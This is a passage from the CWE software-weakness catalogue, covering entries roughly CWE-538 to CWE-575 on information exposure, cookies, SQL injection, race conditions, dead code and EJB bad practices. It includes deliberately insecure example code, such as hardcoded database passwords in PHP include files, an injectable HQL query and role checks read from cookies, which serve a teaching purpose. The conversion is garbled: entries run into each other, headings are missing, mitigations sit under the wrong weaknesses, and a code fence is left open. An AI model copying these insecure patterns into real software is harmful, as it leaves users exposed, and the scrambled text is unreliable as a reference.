However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

### Notes

#### Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

#### Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

## CWE-539: Use of Persistent Cookies Containing Sensitive Information

<b>Weakness ID</b> : 539	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The web application uses persistent cookies, but the cookies contain sensitive information.

## Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-540: Inclusion of Sensitive Information in Source Code

**Weakness ID** : 540

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

## Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

### Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. **Abstraction** : Variant

### Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	540	Inclusion of Sensitive Information in Source Code	1131

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Architecture and Design

Do not store sensitive information in include files.

### Phase: Architecture and Design

### Phase: System Configuration

Protect include files from being exposed.

## Demonstrative Examples

### Example 1:

The following code uses an include file to store database credentials:

database.inc

*Example Language: PHP*

*(bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

*Example Language: PHP*

*(bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

#### Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

#### Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

**Phase: Implementation**

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

*Effectiveness = Limited*

**Demonstrative Examples****Example 1:**

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

*Example Language: Java*

*(bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

## CWE-544: Missing Standardized Error Handling Mechanism

<b>Weakness ID</b> : 544	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

### Extended Description

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-546: Suspicious Comment

<b>Weakness ID</b> : 546	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

### Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

### Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation  <i>The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.</i>	

## Potential Mitigations

### Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

## Demonstrative Examples

### Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

*Example Language: C*

*(bad)*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

*Example Language: C*

*(bad)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

## CWE-548: Exposure of Information Through Directory Listing

**Weakness ID** : 548**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

### Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Nature	Type	ID	Name	Page
ChildOf		497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1080

### Common Consequences

Scope	Impact	Likelihood

	<i>Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

## CWE-550: Server-generated Error Message Containing Sensitive Information

<b>Weakness ID</b> : 550	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant

## CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

<b>Weakness ID</b> : 551	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

## Extended Description

For instance, the character strings `./` and `/` both mean current directory. If `/SomeDirectory` is a protected directory and an attacker requests `./SomeDirectory`, the attacker may be able to gain access to the resource if `./` is not converted to `/` before the authorization check is performed.

## CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552

Status: Draft

Structure : Simple

**Abstraction** : Base**Description**

The product makes files or directories accessible to unauthorized actors, even though they should not be.

**Extended Description**

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

The J2EE application stores a plaintext password in a configuration file.

### Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

#### Phase: Architecture and Design

Do not hardwire passwords into your software.

#### Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

### Demonstrative Examples

#### Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

*Example Language: Java*

*(bad)*

```
webapp.ldap.username=secretUsername
```

```
webapp.Idap.password=secretPassword

## CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

**Weakness ID :** 556

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

### Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

## CWE-558: Use of getlogin() in Multithreaded Application

**Weakness ID** : 558

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

### Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1312

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	
Other	Other	

### Potential Mitigations

#### Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

#### Phase: Implementation

Use getlogin\_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

### Demonstrative Examples

#### Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C

(bad)

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
    deny();
}
```

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2058

**Notes**

**Other**

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

**CWE-561: Dead Code**

## Potential Mitigations

### Phase: Implementation

Remove dead code before deploying the application.

### Phase: Testing

Use a static analysis tool to spot dead code.

## Demonstrative Examples

### Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

*Example Language: C++*

*(bad)*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

### Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

*Example Language: Java*

*(bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

### Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

*Example Language: Java*

*(bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

## CWE-562: Return of Stack Variable Address

**Weakness ID** : 562

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

### Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause

the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

## Relationships

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-563: Assignment to Variable without Use

**Weakness ID :** 563

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The variable's value is assigned but never used, making it a dead store.

ChildOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	188

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

## Potential Mitigations

### Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

### Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

### Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use.

Narrowly define the set of safe characters based on the expected value of the parameter in the request.

### Demonstrative Examples

#### Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java

(bad)

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street=" + street + "");
```

## CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

### Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

#### Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

#### Phase: Architecture and Design

Add integrity checks to detect tampering.

#### Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

### Demonstrative Examples

#### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

*Example Language: Java*

*(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2059

### Notes

#### Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

## CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

<b>Weakness ID</b> : 566	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

### Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1011	Authorize Actors	2089

### Applicable Platforms

**Technology** : Database Server (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

#### Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

### Demonstrative Examples

#### Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

*Example Language: C#*

*(bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand("SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

## CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

**Weakness ID** : 567

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

### Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	DoS: Instability DoS: Crash, Exit, or Restart	
<p><i>If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.</i></p>		

## Potential Mitigations

### Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

## Demonstrative Examples

### Example 1:

The following code implements a basic counter for how many times the page has been accessed.

Example Language: Java

(bad)

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
        throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
        p.println(count + " hits so far!");
    }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of `doGet`, so the value of `count` is 0.
- `doGet()` is called within Thread A.
- The execution of `doGet()` in Thread A continues to the point AFTER the value of the `count` variable is read, then incremented, but BEFORE it is saved back to `count`. At this stage, the incremented value is 1, but the value of `count` is 0.
- `doGet()` is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the `count` variable is accessed (where it is still 0), incremented, and saved. After the save, `count` is 1.
- Thread A continues. It saves the intermediate, incremented value to the `count` variable - but the incremented value is 1, so `count` is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of `count` should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

**CWE-570: Expression is Always False**

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Potential Mitigations

#### Phase: Testing

Use Static Analysis tools to spot such conditions.

### Demonstrative Examples

#### Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

*Example Language: Java*

*(bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    }
    else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

*Example Language:*

*(good)*

```
...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...
```

**Example 2:**

In the following example, the `hasReadWriteAccess` method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable `mask` is defined as a bit mask from the `BIT_READ` and `BIT_WRITE` constants that have been defined. The variable `mask` is used within the predicate of the `hasReadWriteAccess` method to determine if the `userMask` input parameter has the read and write bits set.

Example Language: C

(bad)

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}
```

However the bit operator used to initialize the `mask` variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable `mask` being set to 0. As a result, the `if` statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

**Example 3:**

In the following example, the `updateInventory` method used within an e-business inventory application will update the inventory for a particular product. This method includes an `if` statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C

(bad)

```
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \n", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        }
        else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

## Demonstrative Examples

### Example 1:

In the following Java example the `updateInventory()` method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java

(bad)

```
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if ( isProductAvailable ) {
        updateProductDatabase(productNumber);
    }
    else if ( isDelayed ) {
        /* Warn customer about delay before order processing */
        ...
    }
}
```

However, the method never sets the `isDelayed` variable and instead will always update the `isProductAvailable` variable to true. The result is that the predicate testing the `isProductAvailable` boolean will always evaluate to true and therefore always update the product database. Further, since the `isDelayed` variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

## Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

### Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

## Demonstrative Examples

### Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

*Example Language: Java*

*(bad)*

```
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
}
```

```

public synchronized void setFirstName(String firstName) {...}
public String getLastName() {...}
public synchronized void setLastName(String lastName) {...}
@OneToOne()
public Address getAddress() {...}
public synchronized void setAddress(Address address) {...}
}

```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

## CWE-575: EJB Bad Practices: Use of AWT Swing

**Weakness ID :** 575

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

### Applicable Platforms

**Language :** Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

### Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

## Demonstrative Examples

### Example 1:

